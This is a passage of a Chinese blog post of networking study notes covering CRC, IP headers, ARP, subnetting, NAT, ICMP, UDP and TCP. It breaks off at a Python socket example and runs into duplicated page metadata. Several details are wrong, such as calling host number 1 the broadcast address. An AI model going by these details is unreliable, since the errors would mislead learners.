Unit）</p><p>以太网的MTU（MAC帧）是1500字节</p><p>路径MTU：由链路中MTU的最小值决定</p><p>差错监测：因为物理层只负责传输比特流，没有控制出错的功能，因此数据链路层提供了差错监测的功能</p><p>奇偶校验码：在发送的每个字节后加上一位，让字节中为1的数可以是奇数或者偶数，通过奇偶校验来确定数据是否出错，具体可以看https://xiaochenabc123.test.com/archives/77.html这篇文章，讲TCP的可靠性那里</p><p>奇偶校验码的缺点就是如果发生2位的出错，就无法校验出来错误</p><p>循环冗余校验码CRC（根据传输或者保存的数据来产生固定位数的校验码，校验码再附加到数据的后面）</p><p>模二除法：通过异或来表示0或者1，例如00就是0，01就是1，异为1，或为0</p><p>选择用于校验的多项式，并且在数据后面添加多个0，添加多个0的数据，通过模二除法来除以校验的多项式的位串，得到的余数将填充到原来数据的添加多个0的位置，来得到可校验的位串</p><p>假设校验的多项式为X3+X2+1，那么就是原数据后面添加3个0（添加多少个0取决多项式的最高阶，二进制位的最高位也取决于最高阶（最高幂次）二进制位数等于最高阶+1，这里就是表示的二进制位为4位的二进制数），二进制位串位计算就是1<em>x3+1</em>x2+0<em>x1+1</em>x0，就是1101</p><p>例如原数据为1010110，CRC校验码计算就是1010110000除以1101，得到的余数0001就是CRC校验码，在将原来填充0的位置填充CRC，就是10101100001，这个比特流就是要传输的数据</p><p>接收数据进行校验通过，传输的数据除以位串，来得到余数，根据余数来进行判断校验（余数为0则表示数据正确）</p><p>数据链路层只检测数据的错误，不会进行数据的纠错，数据错了，数据链路层将会丢弃错误的数据或者重新传输数据</p><p>MAC地址（物理地址，硬件地址，每个设备都有唯一的MAC地址，用48个比特位来表示，使用16进制）</p><p>MAC地址表：映射MAC地址到硬件接口上</p><p>以太网协议是数据链路层的协议，以太网协议是局域网技术，以太网协议用于完成相邻设备的数据帧传输</p><hr><p>网络层（数据路由，数据在网络传输的路径，跨局域网，跨节点）</p><p>路由器的顶层是网络层，没有使用到传输层和应用层</p><p>网络层的ip协议，子网划分</p><p>虚拟互连网络（物理网络复杂，使用IP协议时，将无需关心物理网络的差异）</p><p>网络层利用IP协议来将使用IP协议的计算机连接起来，就好像这些计算机只需要连接一个虚拟互连网络一样，无需关心底层经过了哪些网关，路由器，ISP等等，将专注于数据的转发工作</p><p>IP协议</p><p>IP地址（v4只有32位，v6有128位），ipv4使用点分十进制表示，使用4组从0到255的数字表示ip地址，ipv6使用冒分十六进制，用8组4位的16进制表示ipv6地址</p><p>IP协议处理数据是数据链路层处理完毕的数据帧的数据，又叫IP数据报，IP数据报包含了目标的IP地址，源IP地址，IP数据，协议数据等等</p><p>IP数据报的4位版本，就是IP协议的版本，使用4位二进制表示，通信双方必须一致（否则无法通信），例如版本4（v4），版本6（v6）</p><p>IP数据报的4位首部长度，是表示IP首部的长度，使用4bit表示，4位填满就是1111，就是15bit，IP数据报限制每行是4个字节（32位bits），15<em>4就是60字节，因此首部最大可以是60个字节，IP数据报最短部分有5行，5</em>4，就是20字节，20字节是IP首部长度最小的值，这个看起来可能有点乱，下面解一下为啥是这样</p><p>首部长度的单位是32bit（4字节），也就是说首部长度0001是表示IP首部有32bit，4个字节，首部长度1111就是4*15（15是二进制1111换算出来的），就是IP首部最大是60个字节</p><p>因为IP数据报最少要有5行，这5行就是最小首部（第六行是可选的），每行4个字节，4*5就是20个字节，IP首部长度最小表示得是20个字节，用4位首部长度表示就是0101（就是5，因为1就表示了4个字节）</p><p>IP数据包的总长度是用16位bit表示，因此最大值为65535（2的16次方），这个总长度表示IP首部+IP数据的总长度，因此一个IP数据包最大是65535字节</p><p>当IP数据包大于MTU时，数据链路层会将IP数据包分片，以确保符合MTU</p><p>IP首部还有个服务类型，用8位表示，前面3位表示优先级，后4位是标志，最后一位是保留位，前面3位，满载就是111，也就是说有7种优先级，这个优先级没有强制性，物理设备也不看</p><p>IP首部标识，占16位，是计数器，相同数据包的标识是相同的（每生产一个数据包就+1），用来数据包的分段，以确保IP数据包能通过MTU限制的数据链路，最后为了数据帧拼装成完整的IP数据包，通过标识来确定，这个标识会被复制到数据帧的标识字段中，相同标识就表示是相同的IP数据包，就可以拼装成完整的数据包了</p><p>IP首部标志，占3位，只有2位有意义，表示该IP数据包是否分片，第一位没有使用，第二位表示DF（Don&rsquo;t Fragment），是否要进行分帧（DF=0时才允许分片），第三位表示MF(More Fragment)，是否后面数据报（MF=0时表示该数据包后面没有了，是最后的包），因此一个允许被分片，并且不是最后一个数据包时，标志表示为001，不允许分帧的话，超过MTU限制的数据包将被丢弃，并且向数据包的源头提示信息</p><p>IP首部片偏移，占13位，表示分片后，该片在原来ip数据包中的相对位置，片偏移是用8个字节为一个偏移单位，因此每个片的长度一定是8字节的倍数</p><p>生存时间TTL，占8位，表示该数据报文在网络中的寿命，经过一个设备TTL会减1，当TTL为0时，该数据报文将被设备丢弃，确保数据报不会一直在互联网的设备中传输，而消耗网络资源</p><p>协议，占8位，表示数据报携带的数据是什么协议的，让网络层知道应该将这个数据给哪个来进行处理，常见的协议取值，1为ICMP，2为IGMP,4为IP，6为TCP，17为UDP</p><p>首部检验和，占16位，用来校验数据报的首部，每经过一个设备，都会重新计算首部检验和，确保首部不出错，出错会被设备丢弃</p><p>IP源地址，占32位，表示发送该IP数据报的机器的IP地址</p><p>IP目标地址，占32位，表示该IP数据报需要到达的目标机器的IP地址</p><p>IP协议转发过程（逐跳（hop-by-hop））</p><p>MAC地址表工作过程：网卡发送数据帧，数据帧抵达路由器，路由器会取前6字节，来匹配MAC地址表，查找该MAC地址对于的网络接口，路由器就可以通过网络接口来对外发送数据帧</p><p>IP路由表和MAC地址表工作过程类似，IP路由表有目标IP地址，以及有要到达该目标IP地址的下一个地址，发出IP数据报，通过查询IP路由表得知，需要将改数据报发送给另一个IP，才能到达就会发送给另一个IP，另一个IP的设备查询路由表，需要给另一个IP，就发送给它，一直到抵达目的地，或者TTL死亡，计算机和路由器都有路由表</p><p>IP路由表是网络设备根据路由协议生成的，windows操作系统可通过route print命令查看本计算机的路由表</p><p>可以看到有5个属性，分别是网络目标（目标的IP）和网络掩码（表示IP地址的哪个标识是当前设备所在的子网），网关（将数据发送给哪个设备，网关又叫下一跳服务器），接口（发送数据包的网络接口，和当前网关是同一个子网）以及跃点数（到达目标需要经过的跃点数量，一个跃点就是一个路由器，TCP/IP协议会选择最低跃点数的路由）</p><p>网络掩码，又叫子网掩码，和IP地址搭配使用，子网掩码也是32位地址，用来屏蔽IP地址的一部分来区别是网络地址和主机地址，RFC950定义，表示网络地址的位都为1，表示主机地址的位都为0，例如192.168.1.2的子网掩码255.255.255.0，表示192.168.1是网络地址，最后的2才是主机地址，因此得到192.168.1.2是属于192.168.1.0这个网络下的，其中主机号为2</p><p>逐跳的过程：网络层通过路由表，知道下一个发送哪个设备来转发数据，网络层将封装IP数据报给数据链路层，并且告知目标的MAC地址是什么，数据链路层将数据帧发送给目标MAC地址，当接收数据帧后，会将数据帧给网络层（这也是为啥路由器最高层是网络层的原因，路由器不需要那么高层的功能），网络层查询路由表，得知下一个目标设备，并且将数据报给数据链路层，告知目标的MAC地址是什么，数据链路层会将数据帧发送给目标设备一直到真正的目标设备为止</p><p>数据帧在每一逐跳中，都会对MAC地址发送改变，但是IP数据报的IP地址不会发生变化</p><p>ARP协议（Address Resolution Protocol，地址解析协议）和RARP协议（Reverse Address Resolution Protocol，逆地址解析协议）</p><p>ARP协议会将网络层的IP32位地址解析成数据链路层的MAC48位地址，ARP缓存表表示IP地址和MAC地址的映射关系，缓存表没有缓存时，ARP会广播，其他设备会回应，ARP将记录设备的IP和MAC地址，ARP缓存表的记录具有期限性</p><p>windows操作系统可通过arp -a命令查看本机的ARP缓存表</p><p>ARP协议报文是直接对数据链路层的数据帧进行封装的</p><p>ARP协议报文由2位的类型，28位的ARP请求应答，18位的PAD填充数据组成</p><p>其中28位的ARP请求应答报文，是由2位硬件类型，2位协议类型，4位标记，6位发送方的以太网地址，4位发送方的IP地址，6位的目标以太网地址，4位的目标IP地址组成</p><p>RARP的工作和ARP是逆操作，RARP协议是将数据链路层的MAC地址解析成IP地址，利用的也是ARP缓存表，RARP报文和ARP报文是一样的类型组成的</p><p>IP地址的子网划分</p><p>IP地址分类，将32位分成网络号，主机号</p><p>A类地址：8位网络号（前一位为0），24位主机号，最小网络号为0，最大网络号为127（01111111），最小主机号为0.0.0，最大主机号为255.255.255</p><p>B类地址：16位网络号（前二位为10），16位主机号，最小网络号为128.0，最大网络号为191.255，最小主机号为0.0，最大主机号为255.255</p><p>C类地址：24位网络号（前三位为110），8位主机号，最小网络号为192.0.0，最大网络号为223.225.255，最小主机号为0，最大主机号为255</p><p>特殊的主机号，主机号为0表示当前网段，主机号为1表示是广播地址，对当前网段的全部设备发送消息用的</p><p>特殊的网络号，A类地址中网络号全为0为特殊网络，例如0.0.0.0，A类地址中网络字段后7位为1是表示回环地址，例如127.0.0.1</p><p>B类地址网络号后14位都为0，例如128.0.0.1，C类网络号后21位为0，例如192.0.0.1</p><p>上面特殊的都是不可使用或者无法分配的</p><p>区别IP地址属于那一类地址，只需要将IP地址的前8位取出来，通过判断前1位到3位来知道，也是可以看前一段IP地址，例如192.168.1.1，这个明显超过A类，B类地址的最大网络号，因此是C类地址</p><p>127.0.0.1本地回环地址（Loopback Address），这个地址不属于任何一个地址类，它表示设备的本地虚拟接口，甚至无网卡也可以ping通该地址</p><p>还有D类地址，开头前4位是1110，E类地址前4位为1111，D类和E类地址用来特殊用途的，例如广播（D类），D类和E类是不区分网络地址和主机地址的</p><p>子网划分就是在网络号主机号的基础上添加子网号，通过子网掩码来匹配网络号</p><p>A类地址的子网掩码是255.0.0.0</p><p>B类地址的子网掩码是255.255.0.0</p><p>C类地址的子网掩码是255.255.255.0</p><p>子网掩码的二进制与IP地址的二进制进行与运算（位相同，并且为1返回1，位不相同，而且为0返回0），得到的运算结果转换为点分10进制，就是该IP属于这个IP的子网</p><p>无分类编址CIDR（Classless Inter-Domain Routing，无类域间路由选择，没有ABC这些网络分类，也没有子网划分）</p><p>CIDR将IP区分为网络前缀和主机号，网络前缀相同就表示是一个CIDR地址块，网络前缀不受限制</p><p>斜线记法，例如192.168.1.2/25，表示前25位为网络前缀，后7位为主机号（2的7次方，就是128，去掉最大和最小的，还有126个ip地址可以分配，而不需要像C类地址一样，直接就分配255-2个地址，造成地址浪费）</p><p>通过斜线记法占据网络前缀，主机号将可以灵活的占用，更有效分配IP地址，减少IP地址分配的浪费</p><p>CIDR的IP地址与子网掩码，进行与运算，可以得到网络号</p><p>网络地址转换NAT技术（解决IPv4地址不够用）</p><p>NAT技术将IP分为内网地址（避免和外网地址重复）和外网地址（又叫公网地址）</p><p>A类内网地址，10.0.0.0到10.255.255.255</p><p>B类内网地址，172.16.0.0到172.31.255.255</p><p>C类内网地址，192.168.0.0到192.168.255.255</p><p>网关以及ISP，服务器使用外网地址，内部局域网使用内网地址</p><p>NAT（Network Address Translation，网络地址转换）：让多个内网设备通过一个公网地址来访问互联网的技术，通过转发端口号来实现，内部的端口号，需要访问外网时，会分配一个新的端口号和新的地址（公网）来表示这个内网端口服务，这样外网访问这个公网的端口时，将可以映射给具体内网的端口服务</p><p>例如常见的NAT穿透技术（就是内网穿透）</p><p>ICMP协议（Internet Control Message Protocol，网际控制报文协议）</p><p>ICMP协议可以报告错误信息和异常信息，搭配IP协议使用</p><p>ICMP协议报文封转在IP数据报的数据中，ICMP协议报文由ICMP报文首部和ICMP报文数据组成</p><p>ICMP报文首部由8位类型（ICMP报文的类型，有2类，分别是差错报告报文，询问报文），8位代码（ICMP报文具体有哪些错误），16位的校验和组成</p><p>差错报告报文的常见类型有3（终点不可达，代码0为网络不可达，1为主机不可达），5（重定向，代码0为网络重定向，1为主机重定向），11（传输超时），12（缺少IP必要参数（1）或者IP头部问题（0））</p><p>询问报文的常见类型有0或者8（回送请求或者应答），13或者14（时间戳请求或者应答），询问报文主要查询网络是否互通，</p><p>使用了ICMP协议的应用有ping（询问报文），traceroute（发送IP数据包到目标需要走哪些路由）</p><p>windows可使用tracert命令来体验traceroute的功能，tracert baidu.com</p><hr><p>传输层（给上层应用层提供通信功能，是数据通信的最高层，传输层实现进程与进程间的通信（跨设备，跨设备））</p><p>传输层协议：TCP协议和UDP协议</p><p>使用不同的端口表示不同的网络进程，端口使用16位表示，（0到65535），端口只对本地有意义，进行网络传输，还需要搭配IP来使用</p><p>传输层对上层应用层起到屏蔽底层的细节的作用，网络层传输点到点的传输，传输层就将点精确到端，进程的传输</p><p>UDP协议（User Datagram Protocol，用户数据报协议）</p><p>应用层传递的数据报，UDP不会对其进行合并，拆分，UDP协议数据报大小取决于上层网络层的数据报</p><p>UDP数据报分为UDP首部，UDP数据报数据（UDP数据报数据就是上层应用层提交的数据）</p><p>UDP首部由16位源端口号（源机器的端口），16位目标端口号（目标机器的端口），16位UDP长度（表示UDP数据报的长度），16位UDP校验和组成，UDP首部是8字节的长度</p><p>UDP无连接（不需要建立连接，直接对目标发送数据报），不保证可靠传输数据（不会感知数据报的发送失败，丢失），面向报文传输（应用层交付的数据报文有多大，UDP就传输多大的UDP协议报文，一次发送一个报文），没有拥塞控制（无法感知网络的拥塞情况，直接交付数据报给网络就完事）</p><p>TCP协议（Transmission Control Protocol，传输控制协议）</p><p>TCP协议报文也是在IP数据报的数据内部的，由TCP首部和TCP数据报数据组成</p><p>TCP是面向连接（需要提前建立连接，才能通信），提供可靠传输（连接管理（3次握手，4次挥手），数据分段（），校验和（校验数据），序号（按顺序发送，收到乱序则丢弃数据），累计确认（接收数据方会发送确认应答，来表示发送的报文收到了），重发机制（定时器，一段时间内无法确认该报文接收到，发送方会重新发送该报文），流量控制（感知对方的接收情况，如果对方接收不够快，会提示对方降低发送频率（调整本地的窗口，并且告知对方窗口值是多少），避免数据报的丢失），拥塞控制（感知网络拥塞情况，能根据拥塞情况来调整数据发送的频率，调整拥塞窗口，避免数据报的丢失），通过这些来保证可靠传输），提供全双工通信，面向字节流传输</p><p>TCP字节流：TCP协议将网络层传输的数据看成字节流，会从字节流中选择长度来创建数据段（拆分），这个数据段就成了TCP数据报的数据，接收方接收数据时，还需要对数据进行排序（根据序号，合并）</p><p>TCP粘包：发送的数据，在接收方被粘在一块了（排序），一个数据包的头部接着另一个数据的尾部，导致原因是接收数据时，并不会马上交付数据，而是存储在流量控制的缓存中，交付数据时就可能读取到TCP粘包</p><p>TCP首部由16位源端口，16位目标端口，32位序号（传输的字节都有唯一序号，表示数据报的数据的第一个字节的序号），32位确认号（表示前面多少个数据收到了，如果有下一个数据请发送给我，例如ack=11，表示前面10个数据已经收到，可以发送第11个数据了，表示期待收到下一个字节序号是什么，传输下一个数据报的数据取决于这个，序号+当前数据长度的和就是下一个数据发送的起点序号），4位数据偏移（首部长度，最大长度1111，就是15，表示有15行，每行4字节，最大60个字节，单位为4字节，长度是20（最少20字节）到60字节之间，表示真实数据距离首部有多长），保留字段，6位的TCP标记（有6位不同的控制位，分别为URG（Urgent，紧急位，URG=1，表示该数据是紧急数据，接收端会更优先获取该数据），ACK（Acknowledgenent，确认位，ACK=1时确认号才生效），PSH（Push，推送位，PSH=1时表示尽快将该数据交付应用层，不需要等缓存填满交付），PST（Reset，重置位，RST=1时通知重新建立TCP连接），SYN（Synchronization，同步位，SYN=1，ACK=0时表示需要连接建立请求，ACK=1时表示连接请求报文），FIN（Finish，终止位，FIN=1时，表示数据发送完成，开始断开连接操作）），16位窗口（表示本地可以接收的数据最大多少，字节为单位，流量控制的基础，可变），16位校验和（差错控制，发送方计算全部数据的校验和，接收方也计算校验和，当接收方的校验和和发送方一致时，数据发送正确），紧急指针（搭配URG控制位使用，指定紧急数据在报文的位置），可选的TCP选项（最大40字节），以及填充（填充32位的整数倍）组成</p><p>TCP首部除了填充，TCP选项外，剩余是固定20个字节的长度的</p><p>可靠传输协议：停止等待协议（发送方发送数据，只有当接收方响应确认后，再发送另一个数据，停止是发送方的停止发送另一个数据，等待是接收方等待数据的传输，获取到了响应一个确认，如果接收方在一段时间内没有响应确认消息，发送方会重发该数据给接收方（超时重传，超时定时器）），连续ARQ协议（连续发送多个报文，批量发送，通过滑动窗口，来确认发送多少个报文，当报文确认号到达，将移动窗口，让其可以发送后面的报文，累计确认）</p><p>TCP可靠传输基于连续ARQ协议，滑动窗口是以字节为单位，窗口首个字节就是确认号（期望下一个发送该字节），发送字节的长度等于确认号+窗口大小，移动窗口的前提是已经接收到确认了，可用窗口等于窗口长度-已发送未确认的，如果窗口首个字节长时间没有确认，将重新传输该窗口的全部字节（哪怕已经接收到）</p><p>因为重传窗口的全部字节效率低，因此有选择重传，可以指定重传的字节，每个字节都有32位序号，提供序号就可以选择性重传，选择重传的数据存储在TCP选项内部，因为TCP首部最大60字节，因此TCP选项最大40字节，也就是10个序号（一个序号4字节），能存储的序号太小，因此实质上存储的是重传的字节边界，重传开头字节到结尾字节，就是2个协号表达一段需要重传的字节，这会增加了重传字节的数量，而不是每次只能重传10个字节，而是能重传数百个，数万个字节，因为丢失字节的数量是非常巨大的，要么没有问题，一出问题就是字节丢失很多</p><p>流量控制（提示发送方的发送数据的频率不要太快（避免接收方处理不及时，而导致数据丢失），通过限制滑动窗口的大小来实现，窗口指明发送的数据量是多少）</p><p>发送方发送数据时携带SEQ序号，表示该报文的序列号，接收方进行响应时，会返回ACK确认号（表明接收到哪个报文了），如果想提示发送方的窗口要设置多大合适，还可以响应一个RWND来表示发送方应该设置窗口大小为这个</p><p>ACK=101，RWND = 1000，将表示下一个发送序号为101的报文，并且窗口为1000，也就是说可以一次传输101到1100之间的报文</p><p>通过窗口大小来通知对方的发送速率，来做到流量控制，超时重传只针对数据的，对于响应消息是不会触发重传的，如果窗口控制的消息丢失了，将可能导致死锁（如果之前设置RWND为0的话，需要等待响应调整窗口，窗口消息丢失，接收方和发送方都在等待对方的回应）</p><p>坚持定时器：当接收到RWND为0的消息时，启动坚持定时器，坚持定时器将每隔一段时间发送窗口探测报文，询问接收方是否有调整窗口的大小的操作，避免因为窗口消息的丢失而死锁的情况发送</p><p>拥塞控制（硬件设备传输速率不同或者网络设备故障，因此存在网络拥塞的情况，例如报文超时，这个也是被认为网络拥塞了）</p><p>拥塞控制算法：慢启动算法（从小到大逐渐增加发送量，当发送的报文接收到了，将增加发送量，逐渐试探网络是否拥塞了，会指数增长发送量，直到慢启动阈值（ssthresh）），拥塞避免算法（当慢启动算法达到慢启动阈值时启动，控制拥塞窗口，会试探扩大拥塞窗口（直线增长），直到发送网络拥塞为止）</p><p>三次握手（通过TCP首部的TCP标记完成，ACK，SYN，FIN）</p><p>第一次握手：SYN=1，seq=x，seq是序号，请求建立连接方向目标发送</p><p>第二次握手：SYN=1，ACK=1，seq=y，ack=x+1，ACK确认收到请求，seq的值是数据序号，ack=x+1，是希望下次接收的数据的序号</p><p>第三次握手：ACK=1，seq=x+1，ack=y+1，ACK确认，seq是当前发送的数据序号，ack是期望下次接收的序号</p><p>发送方负责同步和建立连接，接收方负责监听和同步数据已接收响应，建立连接</p><p>三次握手的作用不只是建立连接，而且还可以同步数据的序号，以及希望下次接收数据的序号，避免失效的请求建立连接报文（超时的）而导致错误，第三次握手消息，会让接收方忽略超时的失效的建立连接报文（因为超时没有响应，会重发请求）</p><p>四次挥手（TCP连接的释放）</p><p>第一次挥手：FIN=1，seq=u，数据传输完毕，需要终止TCP连接</p><p>第二次挥手：ACK=1，seq=v，ack=u+1，被终止方依然可以发送数据，因为只是主动终止方发送完毕数据了，对方并不一定完成了，需要等待对方发送完毕</p><p>第三次挥手：FIN=1，ACK=1，seq=w，ack=u+1，被终止方发送数据完毕，也可以终止了</p><p>第四次挥手：ACK=1，seq=u+1，ack=w+1，请求终止方确认已经接收到对方可终止的请求后发送，可以释放了</p><p>等待计时器：请求终止方需要等待计时器后才进行关闭，而被终止方接收到第四次挥手消息后是立刻关闭，这个计时器又叫2MSL计时器，即报文最大生存时间的2倍（MSL，Max Segment LIfetime，最长报文段寿命，一般为2分钟）</p><p>等待计时器的作用是确保第四次挥手消息到达对方，如果对方在2MSL内没有接收到，会重新发送第三次挥手消息，确保全部报文在连接中失效，端口占用</p><p>套接字（ip和端口的组合，Socket，表示TCP连接的一端，用来数据发送和接收）</p><p>TCP连接使用2个套接字来组成（C/S架构）</p><p>服务端创建套接字，绑定套接字，监听套接字，接收或者处理消息</p><p>客户端创建套接字，连接套接字，发送消息</p><p>套接字编程（使用Python完成）</p><p>服务端</p><pre><code>import socket
+IP地址（v4只有32位，v6有128位），ipv4使用点分十进制表示，使用4组从0到255的数字表示ip地址，ipv6使用冒分十六进制，用8组4位的16进制表示ipv6地址"><script type=application/ld+json>{"@context":"https://schema.org","@type":"BreadcrumbList","itemListElement":[{"@type":"ListItem","position":1,"name":"Posts","item":"https://chenjunlinabc.github.io/posts/"},{"@type":"ListItem","position":2,"name":"计算机网络学习笔记","item":"https://chenjunlinabc.github.io/posts/156/"}]}</script><script type=application/ld+json>{"@context":"https://schema.org","@type":"BlogPosting","headline":"计算机网络学习笔记","name":"计算机网络学习笔记","description":"计算机网络是通用，可编程的硬件组成的，并且这些设备可互连，并且可以传输不同类型的数据\n计算机网络不是只有软件概念，还有硬件设备，例如：网卡，网线，路由器等等\n网络作用范围：广域网（WAN），城域网（MAN），局域网（LAN）\n计算机网络发展历史\nARPANET（1969年，美国国防部创建的单个网络）\n三层结构互联网（现代互联网雏形，当时主要用于连接美国学校，实验室的计算机，主干网，地区网，校园网）\n多层次ISP互联网（ISP指网络服务提供商（Internet Service Provider），常见网络服务提供商有中国移动，中国电信，中国联通等等）\n多层次ISP互联网，分主干ISP（主要跨国通信），地区ISP（主要局部地区通信，例如广东移动，北京电信等等）\n中国创建了多个公共互联网，例如：中国电信互联网（CHINANET），中国移动互联网（CMNET），中国联通互联网（UNINET），中国教育与科研计算机网（CERNET），中国科学技术网（CSTNET）等等\n计算机网络层次结构（确保数据通信顺通，识别目标计算机的状态，数据是否存在错误）\n层次结构大概分3个，网络应用，数据通信，物理网络\n层次细分的话，有七层，也就是OSI七层模型（OSI国际标准定义的），而且每个层都是独立的（不干预其他层），只完成不同的工作\nOSI七层模型：应用层（为计算机提供服务），表示层（数据处理），会话层（管理通信会话），传输层（管理通信连接），网络层（数据路由），数据链路层（管理节点之间的数据通信，例如传输数据到另一个局域网），物理层（计算机物理设备）\nOSI七层模型并没有成为广泛使用的标准，而是采用TCP/IP四层模型\nTCP/IP四层模型：应用层（对于OSI七层模型的应用，表示，会话，HTTP协议），传输层（OSI七层模型的传输层，TCP/UDP协议），（OSI七层模型的网络层，IP/ICMP协议）网络层，（数据链路层和物理层，ARP/RARP协议）网络接口层\n计算机网络性能指标\nbps=bit/s，1秒多少比特位，比特率\n时延：发送时延（数据bit除以bps），排队时延（数据等待被网络设备处理的时间），处理时延（数据到达目标机器后处理需要的时间），传输时延（传输路径除以bps）\n总时延 = 发送时延+排队时延+传输时延+处理时延\n往返时间RTT（Route-Trip Time）：数据报文在通信中来回一次的时间（可通过ping命令来查看RTT）\n物理层（连接不同的物理设备，传输比特流）\n物理层传输介质：双绞线（又分屏蔽和无屏蔽，区别就是增加了一层屏蔽层），同轴电缆，光纤（通过光传输，光纤内部是具有高折射率的纤芯，能折射光）\n电缆使用铜作为传输介质，光纤通过光来作为传输介质\n铜线中的电信号传播速度大约为2.3*10^8m/s\n光纤中光信号的传播速度是2.0*10^8m/s\n因此实质上电缆的传播速度比光纤快，因为光纤是利用光的反射来传输到远方的，实质光走的距离更长\n但是电缆的铜在远距离的情况下，会导致衰减（主要有2个原因导致，介质损耗（通过电磁波传导，会在介质中产生电场的电荷规则排序，这会消耗能量）和导线损耗），需要通过中继器来延续信号\n因此在跨市，跨城，跨省，跨国使用都是光纤（光纤的带宽比电缆好，也是一个原因），但是短距离，得益于电缆的传播速度，会更好，因此局域网内部大多使用电缆来传输（因为解析光信号，还需要个光信号调制调解器，计算机无法直接使用光纤传输的数据）\n比特流：通过高低电平来表示比特流，来传输数据\n信道（往一个方向传输信息的媒体，一个通信电路最少要有一个发送信道和接收信道）\n信道的分类：单工通信信道（只能往一个方向通信的信道，没有反馈的信道，例如电视机的电视闭路线），半双工通信信道（可以发送和接收信息，但是不能同时发送，同时接收），全双工通信信道（可以同时发送，同时接收）\n物理层会实现信道分用复用技术（提升信道的利用率）\n频分复用，时分复用，波分复用，码分复用\n数据链路层（封装成帧，透明传输，差错监测）\n数据帧：数据链路层中数据的基本单位，数据发送方会在网络层的一段数据的前后添加特定标记，而这一段数据就是数据帧，数据接收方根据特定标记来识别数据帧，是数据链路层内部数据处理成帧\n数据帧也分MAC帧（没有帧尾，因为MAC帧之间是96比特时间，帧头也是没有的，而是让物理层给MAC帧添加8bts的前导码），PPP帧（有帧头和帧尾，帧头到帧尾就是这个帧的长度）\n封装成帧：数据链路层会将网络层交付的数据报文添加帧头和帧尾，让其成为帧\n帧头和帧尾都是特定的控制字符（比特流），帧头（SOH）：00000001，帧尾（EOT）:00000100\n透明传输：数据链路层对网络层提供的数据没有限制（控制字符在帧数据中，但是不会去当成数据去处理，就好像帧头和帧尾不存在一样）\n字节填充（对数据内部的数据填充ESC转义字符），比特填充（零比特填充法：在每5个连续的1后面插入比特0）\n数据链路层规定了帧的数据的长度限制，就是最大传输单元MTU（Maximun Transfer Unit）\n以太网的MTU（MAC帧）是1500字节\n路径MTU：由链路中MTU的最小值决定\n差错监测：因为物理层只负责传输比特流，没有控制出错的功能，因此数据链路层提供了差错监测的功能\n奇偶校验码：在发送的每个字节后加上一位，让字节中为1的数可以是奇数或者偶数，通过奇偶校验来确定数据是否出错，具体可以看https://xiaochenabc123.test.com/archives/77.html这篇文章，讲TCP的可靠性那里\n奇偶校验码的缺点就是如果发生2位的出错，就无法校验出来错误\n循环冗余校验码CRC（根据传输或者保存的数据来产生固定位数的校验码，校验码再附加到数据的后面）\n模二除法：通过异或来表示0或者1，例如00就是0，01就是1，异为1，或为0\n选择用于校验的多项式，并且在数据后面添加多个0，添加多个0的数据，通过模二除法来除以校验的多项式的位串，得到的余数将填充到原来数据的添加多个0的位置，来得到可校验的位串\n假设校验的多项式为X3+X2+1，那么就是原数据后面添加3个0（添加多少个0取决多项式的最高阶，二进制位的最高位也取决于最高阶（最高幂次）二进制位数等于最高阶+1，这里就是表示的二进制位为4位的二进制数），二进制位串位计算就是1x3+1x2+0x1+1x0，就是1101\n例如原数据为1010110，CRC校验码计算就是1010110000除以1101，得到的余数0001就是CRC校验码，在将原来填充0的位置填充CRC，就是10101100001，这个比特流就是要传输的数据\n接收数据进行校验通过，传输的数据除以位串，来得到余数，根据余数来进行判断校验（余数为0则表示数据正确）\n数据链路层只检测数据的错误，不会进行数据的纠错，数据错了，数据链路层将会丢弃错误的数据或者重新传输数据\nMAC地址（物理地址，硬件地址，每个设备都有唯一的MAC地址，用48个比特位来表示，使用16进制）\nMAC地址表：映射MAC地址到硬件接口上\n以太网协议是数据链路层的协议，以太网协议是局域网技术，以太网协议用于完成相邻设备的数据帧传输\n网络层（数据路由，数据在网络传输的路径，跨局域网，跨节点）\n路由器的顶层是网络层，没有使用到传输层和应用层\n网络层的ip协议，子网划分\n虚拟互连网络（物理网络复杂，使用IP协议时，将无需关心物理网络的差异）\n网络层利用IP协议来将使用IP协议的计算机连接起来，就好像这些计算机只需要连接一个虚拟互连网络一样，无需关心底层经过了哪些网关，路由器，ISP等等，将专注于数据的转发工作\nIP协议\nIP地址（v4只有32位，v6有128位），ipv4使用点分十进制表示，使用4组从0到255的数字表示ip地址，ipv6使用冒分十六进制，用8组4位的16进制表示ipv6地址","keywords":["计算机网络"],"articleBody":"计算机网络是通用，可编程的硬件组成的，并且这些设备可互连，并且可以传输不同类型的数据\n计算机网络不是只有软件概念，还有硬件设备，例如：网卡，网线，路由器等等\n网络作用范围：广域网（WAN），城域网（MAN），局域网（LAN）\n计算机网络发展历史\nARPANET（1969年，美国国防部创建的单个网络）\n三层结构互联网（现代互联网雏形，当时主要用于连接美国学校，实验室的计算机，主干网，地区网，校园网）\n多层次ISP互联网（ISP指网络服务提供商（Internet Service Provider），常见网络服务提供商有中国移动，中国电信，中国联通等等）\n多层次ISP互联网，分主干ISP（主要跨国通信），地区ISP（主要局部地区通信，例如广东移动，北京电信等等）\n中国创建了多个公共互联网，例如：中国电信互联网（CHINANET），中国移动互联网（CMNET），中国联通互联网（UNINET），中国教育与科研计算机网（CERNET），中国科学技术网（CSTNET）等等\n计算机网络层次结构（确保数据通信顺通，识别目标计算机的状态，数据是否存在错误）\n层次结构大概分3个，网络应用，数据通信，物理网络\n层次细分的话，有七层，也就是OSI七层模型（OSI国际标准定义的），而且每个层都是独立的（不干预其他层），只完成不同的工作\nOSI七层模型：应用层（为计算机提供服务），表示层（数据处理），会话层（管理通信会话），传输层（管理通信连接），网络层（数据路由），数据链路层（管理节点之间的数据通信，例如传输数据到另一个局域网），物理层（计算机物理设备）\nOSI七层模型并没有成为广泛使用的标准，而是采用TCP/IP四层模型\nTCP/IP四层模型：应用层（对于OSI七层模型的应用，表示，会话，HTTP协议），传输层（OSI七层模型的传输层，TCP/UDP协议），（OSI七层模型的网络层，IP/ICMP协议）网络层，（数据链路层和物理层，ARP/RARP协议）网络接口层\n计算机网络性能指标\nbps=bit/s，1秒多少比特位，比特率\n时延：发送时延（数据bit除以bps），排队时延（数据等待被网络设备处理的时间），处理时延（数据到达目标机器后处理需要的时间），传输时延（传输路径除以bps）\n总时延 = 发送时延+排队时延+传输时延+处理时延\n往返时间RTT（Route-Trip 